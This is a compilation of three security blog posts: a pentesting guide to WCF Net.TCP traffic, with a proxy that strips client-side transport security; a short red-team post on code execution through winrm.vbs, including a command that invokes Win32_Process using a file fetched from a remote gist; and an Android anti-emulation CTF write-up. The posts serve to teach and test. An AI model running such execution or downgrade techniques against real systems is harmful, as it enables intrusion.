Pentesting Webservices with Net.TCP Binding

Original text

Hi all,

Most of you that are  pentesters  may have already tested plenty of webservices using SOAP (Simple Object Access Protocol)for communication. Typically, such SOAP messages are transferred over HTTP (Hypertext Transfer Protocol) and are encapsulated in XML (Extensible Markup Language). Microsoft has developed different representations of this protocols to reduce the network load. As these representations/protocols aren’t really covered by typical tools out there, this post will show you some of them, and a proxy which can be used to simplify the testing.

A typical SOAP request over HTTP looks like the one you’ll find below.

POST http://localhost/Service1 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/soap+xml;charset=UTF-8;action=""
Content-Length: 440
Host: localhost
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

<soap:Envelope xmlns:soap=""
   <soap:Header xmlns:wsa="">

This also results in a typical XML based response:

HTTP/1.1 200 OK
Content-Length: 542
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 28 Jul 2016 11:13:31 GMT

<s:Envelope xmlns:s=""
        <a:Action s:mustUnderstand="1"></a:Action>
        <ActivityId CorrelationId="ed341f95-b902-45bd-81fd-37419a72cd44"
        <GetDataResponse xmlns="">
            <GetDataResult>You entered: 12345</GetDataResult>

Let’s see which protocols are used here… First of all, we’ve the link layer (ethernet most of the time), second the internet layer (IPv4|IPv6), next comes TCP, optionally TLS, now HTTP, and finally SOAP. As you may notice, SOAP and HTTP especially introduce a lot of repetitive data and speaking identifiers. This is great for humans, but bad in the case of network load. One of the optimizations done by Microsoft  in the WCF (Windows Communication Foundation) library was the .Net Binary Format: XML Data Structure [MC-NBFX] and based on that [MC-NBFS] and [MC-NBFSE] for SOAP. Some of the long time readers might remember that I’d already written a library for de- and encoding of this binary representation back in 2011(meanwhile also published on github). With this library, you’re able to read and modify requests and responses from webservices which do not support the XML based encoding. The same request from above could be represented in NBFS:

POST http://localhost/Service1 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/soap+msbin1;charset=UTF-8;action=""
Content-Length: 228
Host: localhost
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

       soap	tem

or as displayed in a hex viewer:

00000000: 4304 736f 6170 020b 0473 6f61 7004 0903  C.soap...soap...
00000010: 7465 6d13 6874 7470 3a2f 2f74 656d 7075  tem.http://tempu
00000020: 7269 2e6f 7267 2f43 0473 6f61 7008 0b03
00000030: 7773 6106 4303 7773 610a b748 6800 7400  wsa.C.wsa..Hh.t.
00000040: 7400 7000 3a00 2f00 2f00 7400 6500 6d00  t.p.:././.t.e.m.
00000050: 7000 7500 7200 6900 2e00 6f00 7200 6700  p.u.r.i...o.r.g.
00000060: 2f00 4900 5300 6500 7200 7600 6900 6300  /.I.S.e.r.v.i.c.
00000070: 6500 3100 2f00 4700 6500 7400 4400 6100  e.1./.G.e.t.D.a.
00000080: 7400 6100 4303 7773 610c b732 6800 7400  t.a.C.wsa..2h.t.
00000090: 7400 7000 3a00 2f00 2f00 6c00 6f00 6300  t.p.:././.l.o.c.
000000a0: 6100 6c00 6800 6f00 7300 7400 2f00 5300  a.l.h.o.s.t./.S.
000000b0: 6500 7200 7600 6900 6300 6500 3100 0143  e.r.v.i.c.e.1..C
000000c0: 0473 6f61 700e 4103 7465 6d07 4765 7444  .soap.A.tem.GetD
000000d0: 6174 6141 0374 656d 0576 616c 7565 8b39  ataA.tem.value.9
000000e0: 3001 0101                                0...

As you may notice, some of the xml tag names are gone as for example Envelope, Header or Body. This is because MC-NBFS uses a predefined dictionary to represent most of the strings occurring in SOAP messages by a one or two byte value (if you are interested how the dictionary looks like:

If it is still transported over HTTP, you’re done and fully able to test and interact with the webservice as if it was communicating over XML-SOAP.

During your tests, you may find a client which is communicating with a webservice, but not over HTTP and it’s not using SOAP (but something which looks like the NBF above). This is typically the same type of webservice, but this time it does not use the so called HTTP-binding, but the Net.TCP one. This binding is used by WCF applications to remove the parsing overhead of HTTP and add more reliability. It is based on the .NET Message Framing Protocol [MC-NMF] and is defined in [MS-NMTFB]. It’s packets follow a type-value format:

 0                   1                   2                   3  
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|  RecordType   |                                               

This protocol runs on top of TCP and does some sort of handshake which specifies the used transport encoding (typically NBFSE), the targeted service and an optional transport encryption/protection.

00000000  0001 0001 0202 246e 6574 2e74 6370 3a2f ......$net.tcp:/
00000010  2f31 3932 2e31 3638 2e35 362e 313a 3835 /
00000020  3233 2f53 6572 7669 6365 3103 080c      23/Service1...
    00000000  0b                                               .
0000002E  06b0 016c 2468 7474 703a 2f2f 7465 6d70 ...l$http://temp
0000003E  7572 692e 6f72 672f 4953 6572 7669 6365
0000004E  312f 4765 7444 6174 6124 6e65 742e 7463 1/GetData$
0000005E  703a 2f2f 3139 322e 3136 382e 3536 2e31 p://
0000006E  3a38 3532 332f 5365 7276 6963 6531 0747 :8523/Service1.G
0000007E  6574 4461 7461 1368 7474 703a 2f2f 7465 etData.http://te
0000008E  6d70 7572 692e 6f72 672f 0576 616c 7565
0000009E  5602 0b01 7304 0b01 6106 5608 440a 1e00 V...s...a.V.D...
000000AE  82ab 0144 1aad 9ddf 13ad aa57 0140 8fe2 ...D.......W.@..
000000BE  2830 d9d9 e8e7 442c 442a ab14 0144 0c1e (0....D,D*...D..
000000CE  0082 ab03 0156 0e42 050a 0742 098b 3905 .....V.B...B..9.
000000DE  0101 01                                 ...
    00000001  06bd 025f 2c68 7474 703a 2f2f 7465 6d70 ..._,http://temp
    00000011  7572 692e 6f72 672f 4953 6572 7669 6365
    00000021  312f 4765 7444 6174 6152 6573 706f 6e73 1/GetDataRespons
    00000031  650f 4765 7444 6174 6152 6573 706f 6e73 e.GetDataRespons
    00000041  6513 6874 7470 3a2f 2f74 656d 7075 7269 e.http://tempuri
    00000051  2e6f 7267 2f0d 4765 7444 6174 6152 6573 .org/.GetDataRes
    00000061  756c 7456 020b 0173 040b 0161 0656 0844 ultV...s...a.V.D
    00000071  0a1e 0082 ab01 400a 4163 7469 7669 7479 ......@.Activity
    00000081  4964 040d 436f 7272 656c 6174 696f 6e49 Id..CorrelationI
    00000091  6498 2436 3038 3538 3730 642d 3835 3264 d.$6085870d852d
    000000A1  2d34 6236 322d 3931 6437 2d61 3563 6334 -4b6291d7a5cc4
    000000B1  3530 3361 3635 3808 3d68 7474 703a 2f2f 503a658.=http://
    000000C1  7363 6865 6d61 732e 6d69 6372 6f73 6f66 schemas.microsof
    000000D1  742e 636f 6d2f 3230 3034 2f30 392f 5365
    000000E1  7276 6963 654d 6f64 656c 2f44 6961 676e rviceModel/Diagn
    000000F1  6f73 7469 6373 b167 9317 e29b 145e 4685 ostics.g.....^F.
    00000101  3657 8293 1d6b 8644 12ad 9ddf 13ad aa57 6W...k.D.......W
    00000111  0140 8fe2 2830 d9d9 e8e7 440c 1e00 82ab .@..(0....D.....
    00000121  1401 560e 4203 0a05 4207 9911 596f 7520 ..V.B...B...You 
    00000131  656e 7465 7265 643a 2031 3333 3701 0101 entered: 1337...
000000E1  0642 0056 020b 0173 040b 0161 0656 0844 .B.V...s...a.V.D
000000F1  0a1e 0082 ab01 441a adf8 4321 1e83 4c8f ......D...C!..L.
00000101  4e8f 0ce4 7db9 cf3a 6744 2c44 2aab 1401 N...}..:gD,D*...
00000111  440c 1e00 82ab 0301 560e 4205 0a07 4209 D.......V.B...B.
00000121  8101 0101                               ....
    00000141  06db 0100 5602 0b01 7304 0b01 6106 5608 ....V...s...a.V.
    00000151  440a 1e00 82ab 0140 0a41 6374 6976 6974 D......@.Activit
    00000161  7949 6404 0d43 6f72 7265 6c61 7469 6f6e yId..Correlation
    00000171  4964 9824 3639 3837 3737 6665 2d65 3637 Id.$6987 77fee67
    00000181  322d 3461 6332 2d62 3163 642d 6239 6237 2-4ac2b1cdb9b7
    00000191  3464 3134 3739 6538 083d 6874 7470 3a2f 4d1479e8.=http:/
    000001A1  2f73 6368 656d 6173 2e6d 6963 726f 736f /schemas .microso
    000001B1  6674 2e63 6f6d 2f32 3030 342f 3039 2f53
    000001C1  6572 7669 6365 4d6f 6465 6c2f 4469 6167 erviceModel/Diag
    000001D1  6e6f 7374 6963 73b1 bef9 db6d 9c99 8b4e nostics....m...N
    000001E1  9a14 0ebf 2d69 41a2 4412 adf8 4321 1e83 ....-iA.D...C!..
    000001F1  4c8f 4e8f 0ce4 7db9 cf3a 6744 0c1e 0082 L.N...}..:gD....
    00000201  ab14 0156 0e42 030a 0542 0799 0e59 6f75 ...V.B...B...You
    00000211  2065 6e74 6572 6564 3a20 3001 0101       entered: 0...
00000125  07                                               .
    0000021F  07                                               .

The first 32 bytes in the capture could be decoded as:

VersionRecord(Major=1, Minor=0)
ViaRecord(Length=0x24, Via="net.tcp://")

Note: BINARY_DICT means MC-NBFSE in this case.

The server acknowledges the connection (0xb) and the actual messages are transferred in the specified encoding (BINARY_DICT), encapsulated in an additional message which prefixes the data with the data length. As you may see, the data sent to server in the second request (the part at 0xE1 to 0x121) is much smaller than the first one. This is because MC-NBFSE defines that a custom dictionary is transfered at the beginning of the first request. All subsequent requests will use this extended dictionary and will transfer only the identifiers (the same applies to the responses).

With this knowledge, you’ll be  able to, at least, extract the requests and responses and decode them with my wcfbin library. But as I noted before, the NMF protocol allows to establish a secured connection. This could be either done by TLS or by GSSAPI. If one of them is used, you’ll be unable to view nor modify the SOAP calls between a client and a server. Additionally, if you’ve the client software and the server requires to authenticate via GSSAPI (Kerberos) and your machine is not part of the domain, it’ll be rather difficult to convince the client software to authenticate with the correct credentials, as this is completely done in the background.

But luckily (especially if we have the client under our control) we can implement a proxy between the client and the server, which would

  1. decode and display the transferred messages
  2. establish a secured connection to the server while the connection to the client is unsecured (like sslstrip)
  3. can be adjusted to modify requests/responses on the fly to bypass some client side restrictions

So lets see how a a proxied connection would look like. First of all, you’ll need the library itself (you can find it here). To install it with pip, just run:

pip install git+

If you like to have some colorful hexdumps you’ll also need my utility library:

pip install git+

If you want to connect to a webservice using kerberos authentication (more on this later), gssapi is also required (python2 only!):

pip install gssapi

After installation, you’ll find 3 scripts in your binary folder:, and

The decode-* scripts can be used to decode trace files which are generated by the proxy (you’ll need the wcfbin decoder mentioned above for the decode-wcfbin script). To generate such trace files (and view the traffic between a client and a server) you can use the nettcp-proxy script as follows: -b <ip address to bind to> -p <port to bind to> -t <name of the tracefile> <serverip> <serverport>

The result can be seen in the following asciicast (you may want to reduce the playing speed (“<” key) as the output comes fast)

If you want to connect to a webservice which is using the negotiate protocol, some additional steps are required. First you’ll need the krb5 library and the gssapi python bindings (mentioned above). Second, you’ll have to configure the krb library to authenticate against the KDC of the domain. If you’re lucky, a

kinit user@domain

is enough (you’ll be prompted for the user password and the klist command will show a obtained ticket). If not, you’ll need to specify the target KDC in the krb5.conf file:

default = STDERR

ticket_lifetime = 24h
clock-skew = 300
default_realm = test.local
dns_lookup_realm = true
dns_lookup_kdc = true
forwardable = true
renew_lifetime = 7d

  kdc =
  admin_server =

foodomain = FOODOMAIN

(adjust the FOODOMAIN and the ips according to your environment).

The next thing you need is a ticket for the target system (the actual service name might be different):

kvno host@service.domain

In the last step, the client has to be configured to not use any transport level authentication. This could be done by adjusting the *.config file which typically comes with such clients:

<?xml version="1.0" encoding="utf-8" ?>
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
                <binding name="NetTcpBinding_IService1">
                    <security mode="None" />
            <endpoint address="net.tcp://" binding="netTcpBinding"
                bindingConfiguration="NetTcpBinding_IService1" contract="ServiceReference1.IService1"
                    <dns value="localhost" />

The important part here is the <security mode="None" /> which has to be assigned to the specific endpoint (by using the <binding name parameter and the <endpoint bindingConfiguration parameter).

Last but not least you use the nettcp-proxy script as before but additionally specify the service name used with krb5: -b <ip address to bind to> -p <port to bind to> -t <name of the tracefile> -n host@service.domain <serverip> <serverport>

That’s all folks. You are now able to view and decode requests going from clients to webservices over the nettcp binding. Additionally, you can use the library to inject your own requests by either doing it directly in python or by connecting to the proxy and let him do the authentication stuff.

That’s it, if you have any questions don’t hesitate to ask, if you find any bugs feel free to report it at github or (even better) fix it right away.

Best & happy hacking,



Round of use Winrm code execution XML

Original text by Matt harr0ey

This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them,

Winrm.vbs ==> Windows Remote Management

Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers 
further information,

Usage XML/Winrm.vbs 
First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use

So what’s the relationship between normal XML and Winrm XML 
I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code
MS-Windows Remote management

Small notes guys
It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs

Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version,

These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely

This text shows remote execute and next picture shows local execute

cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten

Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) 
Lateral Movement Using WinRM and WMI

Bypassing Android Anti-Emulation


This is the first of a series of posts where we will focus in solving Android Reversing challenges. The challenge is focused on a binary protection called «anti-emulation», (you can find more info in the OWASP Top Ten 2014/2016 article:). In the upcoming entries we will talk about other protections like root checker, certificate pinning, anti-tampering, obfuscation techniques, along with ways to protect our app from differents tools (Xposed tool, Frida, etc).

The download link for the apk is and the sha1 signature is:
a2d88143cc3de73387931f84439a4c5e4fdfe123 ReverzeMe1.apk

Before the analysis of the challenge itself I will introduce the concept of «Anti-Emulation» on Android. A good reference for this topic is the Mobile Security Testing Guide by OWASP. They show some examples about these techniques, and different ways to analyze them. There is also an API called SafetyNet, which is an Android API that creates a profile of the device using software and hardware information which is useful for checking different Android protections.

If we see inside the Emulator Detection Examples section, an application has several ways to detect the emulation process.

For example, by checking differents methods like «Build»«TelephonyManager»,«android.os.SystemProperties»«ro.product.device»«ro.kernel.qemu», etc. Depending on the response it can infer if it is running on a physical device in an Android Emulator. To check if the app has this implementation in place, we can try to obtain its code. This can be done through differents techniques and we can use some tools such as apktooljadx or cfr, etc.

We will see how we can make use of some of those tools to obtain a really good approximation of the application code. For example, using apktool we can decode resources to nearly original form. We can even rebuild them after making some modifications. With “jadx» or «cfr» (boths java decompilers) we can analyze the «java code» obtained after the decompilation process. This practice, allows us to look at the code in more natural way, since the output from the java decompilers are «.java» files whereas the output from apktool are «.smali» code files.

I will not get into Java decompilers in this post, because it is a out of the scope. will simply use them to analyze the code for the application in the challenge. Then, we will modify the application from the .smali code. We will show how to use apktool to obtain a good an approximation of the code, to be able to modify it as we need to and then re-build it.
With this in mind, we will take a look at which is the process to create an APK file, since it will be useful to start trying to solve the challenge.

The process of creating an APK file:

  1. First, the developer creates its application in .java to then be compiled into into .class files.
  2. Once these .class files are created, they are converted into .dex (Dalvik EXecutables) files. These files contain byte code for the Dalvik Virtual Machine (DVM) which is a non-standar JVM that runs on Android devices.
  3. The DVM runs the DEX files while ART runs OAT (ELF) files.
  4. Some other XML files are converted to a binary format optimized for space.
  5. The last step is the APK creation from the .dex files, binary XML files and other resources needed to run the application and are packaged into an Android Package file (.apk).
  6. After the APK file is signed by the developer (we’ll come back to this in the «Manual patching with apktool» section), the APK is ready to be installed.
  7. If we want to look at the APK file, we can check its content by unpacking it, for example: $unzip -e example.apk -d example_folder

In short, the APK file is just a signed zip file that we can unzip them using the unzip command:

$unzip ReverseMe1.apk -d reverseme_unzipped

If we take a look at the manifest, we notice that the resources are encoded, we can use apktool to decode them later.$more AndroidManifest.xml

Anti-Emulation Checks:

As we mentioned earlier, there are several checks that an application can perform in order to detect whether we are running it on an emulated environment or an actual device. Usually malware APKs have these kind of protections to avoid any analisis. Some common validations are listed here (anti-emulation process), along with some examples.

Below are some code examples of different validations that I have encountered on applications while writing this post:

Some validation methods are even called “isEmulator()”“carrierNameFromTelephonyManager()”, or my personal favorite so far, “smellsLikeAnEmulator()”. All of them look for the same, or similar validations. They test with “equals”, “contains”, “startsWith” or “endsWith” against some hardcoded strings that can be interpreted as being set by an emulator. But they all look pretty much the same.

I asked myself why this happened? I google it and I had the answer, of course, the first result was a stackoverflow response.

I started looking into some others apps, and I found some many more quite similar implementations:

The difference with the previous set of validation methods is that, while the first set validates through “string comparisons”, the second one does by looking at the “Android system properties” to try to detect emulated environments.

Then, by simply analyzing the implementation methods, we can identify two main approaches to implement an anti-emulation protection. We can use this link.

Strings comparisons:

Let’s take look at the “isEmulator()” example and their validations:

I wrote this reference table:

We can check them in a easy way using the following command in our computers with adb:

╰─$ adb shell getprop generic/vbox86p/vbox86p:5.1/LMY47D/genymotion08250738:userdebug/test-keys

Basically we can use $adb shell getprop < key > to check the differents values.

Android System Properties validations:

Now that we know how to check for validation through strings, we can do the same with the Android System Properties validations.

Android has a set of properties about the device that can be read using the getprop command line utility, like we saw recently. Those System Properties are stored in a key value pair format in the property files (default.prop, local.prop, etc). And we’ll read those to check the Anti-Emulation process.

If we want to understand more about the property files, using “adb shell cat default.prop” we can check the property output:

$adb shell cat default.prop


But if we returned to the previous image:

They are checking ro.hardwarero.kernel.qemuro.serialnoro.product.namero.product.modelro.hardware, etc. We can check this output too using:

╰─$ adb shell getprop
╰─$ adb shell getprop ro.product.device
╰─$ adb shell getprop ro.product.model
Custom Phone - 5.1.0 - API 22 - 768x1280
╰─$ adb shell getprop ro.kernel.qemu
╰─$ adb shell getprop ro.hardware
╰─$ adb shell getprop qemu.hw.mainkeys
╰─$ adb shell getprop ro.bootloader
╰─$ adb shell getprop ro.bootmode
╰─$ adb shell getprop
╰─$ adb shell getprop
╰─$ adb shell getprop

And again if the value of is 1, the app is running on a emulator. The same with ro.kernel.qemu and the others.

Now is easy to understand which part of the code we need to modify to bypass the emulation process. We need to check all the implementations inside the code to bypass the application.

Challenge resolution:

Jadx challenge interpretation:

If we install the application inside the emulator and run it, we will see something similar to the screenshot below.. If we write some alphanumeric input a warning stating «This Devices is not supported» will appear. Since we don’t know why this happened, we can use jadx to obtain the .java code and use it as a starting point to determine the reason.

Of course, we can also use apktool or unzip the APK file to know more about the application, and maybe obtain some other kind of information. In this approach, we will focus on the .java code and try to understand the application workflow.

To decompile the APK, using jadx is enough for this challenge, although there are lots of Java decompilers out there that we could also use.

$jadx ReverzeMe1.apk

We can see some errors and warnings in the images above, but for the purpose of this post they’re not important. Once the decompilation process has finished, the tool should have created a folder with all the decompiled files, which look like this:

If we look for the text with the warning we saw earlier, we’ll find a «toast», which is a view containing a quick little message for the user. The toast class helps you create and manage them. We can also note that the message is shown depending on the value returned by «ChallengeJNI.this.checkIfDeviceIsEmulator().booleanValue()».

What do you think about this line?? :).

Let’s take a look at the implementation of the «checkIfDeviceIsEmulator()» function:

Basically what it is doing is checking some strings against a set of predefined strings, like we saw in the “Anti-Emulation Checks” before. Now we will try to bypass them.


Apktool challenge interpretation:

Like we already saw, we need to modify the checkIfDeviceIsEmulator() function in order to bypass the application’s validation, so now we are going to use apktool to do that.

Apktool patching and reversing engineering:

After we have installed apktool, we can check the options tool. For now we will focus on the decode (‘d’) and build (‘b’) options. Apktool needs an input .apk, which in this case is the one from the challenge we are trying to solve.


To decode the application execute the following command:

$apktool d ReverseMe1.apk -output reverseme_apktool
$ls -la
$cd reverseme_apktool
$ls -la 

We can see the internal structure of the decoded APK, the AndroidManifest.xml file and the differents folders like the smali code. Is important to remember the normal APK structure.

  • smali — disassembled java code
  • res — resources, strings
  • assets — files bundled inside the APK
  • lib — native libraries (*.so files)
  • AndroidManifest.xml — decoded version
  • original and apktool.yml — used by apktool

After decoding the app, we can see the AndroidManifest.xml.

If we look inside the Smali folder we can see all the smali files

$more ChallengeJNI\$1.smali$more ChallengeJNI.smali

As we can see, working with smali code is harder than with java, so we will move to java decompilers to analyze and interpreter the application code. And after that, we will modify the application to obtain the bypass’ smali code and re build the application. To do that we will make use of some dalvik opcodes.

Understanding dalvik opcodes:

This link is really useful, I used it to create a table showing some of the most interesting examples from the “dalvik opcodes” used by the application.

Something that we will see very often in the code is a line like this:

“.method private checkIfDeviceIsEmulator ()Ljava/lang/Boolean;”

It’s important to understand the meaning of this, so let’s break it down:

  1. “.method private” -> is the type of method.
  2. checkIfDeviceIsEmulator -> the method name.
  3. ()Ljava/lang/Boolean; -> the type of the return value, prefixed with L, dots “.” replaced with slashes “/” and suffixed with semicolon ;